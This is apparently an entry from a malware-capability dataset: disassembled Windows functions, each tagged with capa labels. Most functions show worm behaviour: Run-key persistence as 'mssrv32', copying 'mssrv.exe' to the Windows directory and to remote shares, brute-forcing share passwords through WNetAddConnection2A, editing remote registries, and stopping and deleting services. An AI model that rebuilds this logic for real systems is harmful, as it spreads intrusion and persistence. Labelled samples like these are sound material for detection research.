joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40596f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jge 0x405990
mov ecx, dword [0x7a1f1c]
lea eax, [edi*4 + 4]
sub ecx, eax
mov edi, dword [ecx]
mov eax, dword [0x7a2778]
mov ecx, dword [ebp + 8]
add edi, eax
mov eax, 0x7a16e0
sub ecx, eax
mov ebx, eax
cmp ecx, 0x800
jae 0x405b36
mov ebx, dword [ebp + 8]
and dword [ebp + 8], 0
jmp 0x405b36
mov edx, ebx
sub edx, eax
cmp edx, 0x400
jge 0x405b43
inc edi
cmp cl, 0xfc
jbe 0x405b29
movsx eax, byte [edi + 1]
movsx ecx, byte [edi]
mov esi, eax
mov edx, ecx
and esi, 0x7f
and edx, 0x7f
shl esi, 7
or esi, edx
mov edx, 0x8000
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0xc], eax
or ecx, edx
or eax, edx
inc edi
mov dword [ebp - 0x10], ecx
inc edi
cmp byte [ebp + 0xf], 0xfe
mov dword [ebp - 8], eax
jne 0x405ad4
cmp dword [0x7a27c4], 0
push 2
pop esi
je 0x405a1b
push 4
pop esi
mov eax, dword [ebp - 0x14]
test al, al
jns 0x405a52
mov ecx, eax
and eax, 0x3f
add eax, dword [0x7a2778]
and ecx, 0x40
push ecx
push ebx
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00405834
cmp byte [ebx], 0
jne 0x405abb
push dword [ebp - 0xc]
push ebx
call fcn.0040596f
jmp 0x405ab6
cmp eax, 0x25
jne 0x405a65
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x405ab6
cmp eax, 0x24
jne 0x405ab2
push 0x400
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor esi, esi
jmp 0x405ab2
lea eax, [ebp - 4]
dec esi
push eax
push dword [ebp + esi*4 - 0x14]
push dword [0x7a2744]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x405aaf
push ebx
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
push dword [ebp - 4]
mov dword [ebp + 0xc], eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp + 0xc], 0
jne 0x405ab6
and byte [ebx], 0
test esi, esi
jne 0x405a7a
cmp byte [ebx], 0
je 0x405acc
cmp dword [ebp - 0xc], 0x1a
jne 0x405acc
push str.MicrosoftInternet_ExplorerQuick_Launch
push ebx
call sub.KERNEL32.dll_lstrcatA
push ebx
call fcn.00405b5c
jmp 0x405b1a
cmp byte [ebp + 0xf], 0xfd
jne 0x405b08
cmp esi, 0x1d
jne 0x405aed
push dword [0x7a2744]
push ebx
call fcn.004058ab
jmp 0x405afe
mov eax, esi
shl eax, 0xa
add eax, section..ndata
push eax
push ebx
call fcn.0040594d
add esi, 0xffffffeb
cmp esi, 7
jae 0x405b1a
jmp 0x405acc
cmp byte [ebp + 0xf], 0xff
jne 0x405b1a
or eax, 0xffffffff
sub eax, esi
push eax
push ebx
call fcn.0040596f
push ebx
call sub.KERNEL32.dll_lstrlenA
add ebx, eax
mov eax, 0x7a16e0
jmp 0x405b36
jne 0x405b33
mov cl, byte [edi]
mov byte [ebx], cl
inc ebx
inc edi
jmp 0x405b36
mov byte [ebx], cl
inc ebx
mov cl, byte [edi]
test cl, cl
mov byte [ebp + 0xf], cl
jne 0x4059bb
and byte [ebx], 0
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x405b58
push eax
push dword [ebp + 8]
call fcn.0040594d
leave
ret 8
Function at 0x405c9f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a12e4], 0
push esi
jne 0x405cd6
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405cb0
mov dword [ecx*4 + 0x7a12e0], eax
inc ecx
cmp ecx, 0x100
jl 0x405cab
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405d07
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a12e0]
xor eax, esi
inc ecx
dec edx
jne 0x405ce9
pop edi
not eax
pop esi
ret 0xc
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
push 3
pop ecx
push edi
pop edi
rep movsb byte es:[edi], byte [esi]
sub ebx, ebx
mov eax, ebx
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
push 0x1a
pop ecx
push esi
pop esi
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
nop
push 0x3f
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
push 0x3f
pop ecx
push ebx
pop ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
nop
push 2
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
pushfd
xor ecx, ecx
inc ecx
popfd
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
push 8
pop ecx
push esi
pop esi
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
or eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
push ebp
pop esp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
nop
push 8
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
push 8
pop ecx
nop
nop
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
pop edx
push 1
pop eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
xor ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
mov ecx, 0x1d
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x193]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013e1
pop eax
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop eax
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x193]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
or eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop eax
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x391]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x401511
lea eax, [ebp - 0x292]
push eax
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
sub eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
pop ecx
mov edx, 0x40c339
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
sub ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00402430
call fcn.00403680
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebx, eax
test ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
or ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x401c36
sub eax, eax
pop ebx
push ebp
pop esp
pop ebp
ret 0x10
Function at 0x401d90
Capabilities:
Read file via mapping
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 8], 0
sub ebx, ebx
call fcn.00403680
and eax, 0x1fffff
lea esi, [eax + 0x400]
lea eax, [esi*4]
push eax
call fcn.00403dc0
pop ecx
mov ebx, eax
push 0
push 0
push 3
push 0
push 1
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], eax
push 0
push pe_nt_image_headers32
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x14dfc
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x401e92
or ebx, ebx
je 0x401e92
sub edi, edi
jmp 0x401e67
call fcn.00403680
mov ecx, bind
cdq
idiv ecx
mov dword [ebx + edi*4], edx
add edi, 1
mov eax, edi
cmp eax, esi
jb 0x401e54
push 2
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x20], eax
push ebx
call fcn.00404670
pop ecx
sub ebx, ebx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
je 0x401ed3
cmp dword [ebp - 0x20], 0
je 0x401ed3
xor eax, eax
jmp 0x401ed8
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x4020b0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x400
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
push 0x416f54
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4021c5
sub eax, eax
jmp 0x4021d6
test byte [0x416f54], 0x10
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e3
sub eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x40210a
test al, al
je 0x40210f
add edx, 1
add ecx, 1
jmp 0x4020f6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4021b3
mov ecx, 0x416f80
mov edx, 0x40c9e0
xor eax, eax
mov al, byte [edx]
mov ah, byte [ecx]
sub ah, al
jne 0x402137
test al, al
je 0x40213c
add edx, 1
add ecx, 1
jmp 0x402123
sbb eax, eax
sbb eax, 0xffffffff
or eax, eax
je 0x4021b3
push 3
push ebx
call fcn.00401ee0
add esp, 8
lea ecx, [ebp - 0x400]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x402156
pop eax
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
push 0x416f80
lea eax, [ebp - 0x400]
push eax
call fcn.00401f60
add esp, 8
push str..
lea eax, [ebp - 0x400]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x400]
push eax
call fcn.004020b0
pop ecx
mov byte [ebp - 0x400], 0
push 0x416f54
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push eax
pop esi
or esi, esi
je 0x4021cd
test esi, esi
jne 0x4020dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x402430
Capabilities:
Modify service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 4], 0x64
xor edi, edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 8], eax
or ebx, ebx
je 0x4024bd
push 0
push str.Messenger
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x4024b6
push 0x40ca74
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
or eax, eax
je 0x4024b6
jmp 0x4024ae
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp edi, 0xc8
jl 0x402499
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret
Function at 0x4024e0
Capabilities:
Delete service
Enumerate services
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
sub ebx, ebx
mov dword [ebp - 4], 0
xor esi, esi
mov dword [ebp - 0x108], 1
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
pop ebx
mov dword [ebp - 0x10c], 0
or ebx, ebx
je 0x40269c
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
push 0x24
lea eax, [ebp - 0x134]
push eax
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
mov dword [ebp - 0x108], eax
test eax, eax
je 0x402568
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40269c
mov eax, dword [ebp - 0x138]
push eax
call fcn.00403dc0
pop ecx
push eax
pop esi
test esi, esi
je 0x402693
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, eax
jne 0x402693
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x138]
push eax
mov eax, dword [ebp - 0x138]
add eax, 0x24
push eax
push esi
push 1
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x402693
sub edi, edi
jmp 0x402685
lea ecx, [ebp - 0x103]
imul eax, edi, 0x24
mov edx, dword [esi + eax]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4025d6
pop eax
lea edx, [ebp - 0x103]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x4025ec
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004023d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x103]
push eax
call fcn.004047d0
add esp, 8
test eax, eax
je 0x402682
push 0x20
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
or eax, eax
je 0x402678
lea eax, [ebp - 0x154]
push eax
push 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
imul eax, edi, 0x24
mov eax, dword [esi + eax]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add edi, 1
mov eax, edi
cmp eax, dword [ebp - 0x110]
jb 0x4025c7
push esi
call fcn.00404670
pop ecx
sub esi, esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
sub eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a20
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x24
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
mov byte [0x4159c8], 0x61
mov byte [0x4159c9], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
inc byte [0x4159c8]
cmp byte [0x4159c8], 0x7a
jle 0x402a8f
push 1
call fcn.00402ca0
pop ecx
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0x4159c8
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov esi, eax
cmp esi, 0x4b8
jne 0x402abf
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
pushal
popal
push 2
pop eax
jmp 0x402b18
or esi, esi
je 0x402ac8
cmp esi, 0x55
jne 0x402af8
xor edi, edi
jmp 0x402ad8
mov al, byte [edi + 0x4159c8]
mov byte [ebx + edi], al
add edi, 1
push 0x4159c8
call fcn.00404b00
pop ecx
mov edx, edi
cmp edx, eax
jbe 0x402acc
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402b18
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d09
jl 0x402a78
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
nop
push 1
nop
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402b20
Capabilities:
Connect network resource

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x28
push ebx
push esi
push edi
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
jmp 0x402bf1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [esi*4 + 0x413600]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 4], eax
cmp eax, 0x4b8
jne 0x402ba0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
push 2
pop eax
nop
nop
jmp 0x402c15
mov eax, dword [ebp - 4]
or eax, eax
je 0x402bac
cmp eax, 0x55
jne 0x402bee
xor edi, edi
jmp 0x402bc0
mov eax, dword [esi*4 + 0x413600]
mov al, byte [eax + edi]
mov byte [ebx + edi], al
add edi, 1
mov eax, edi
mov dword [ebp - 0x28], eax
mov edx, dword [esi*4 + 0x413600]
or eax, 0xffffffff
add eax, 1
cmp byte [edx + eax], 0
jne 0x402bcf
mov edx, dword [ebp - 0x28]
cmp edx, eax
jbe 0x402bb0
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
xor eax, eax
jmp 0x402c15
add esi, 1
mov eax, dword [esi*4 + 0x413600]
mov edx, 0x40d2f8
cmp eax, edx
jne 0x402b6a
push 1
push 1
push 0
call sub.MPR.dll_WNetCancelConnection2A
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret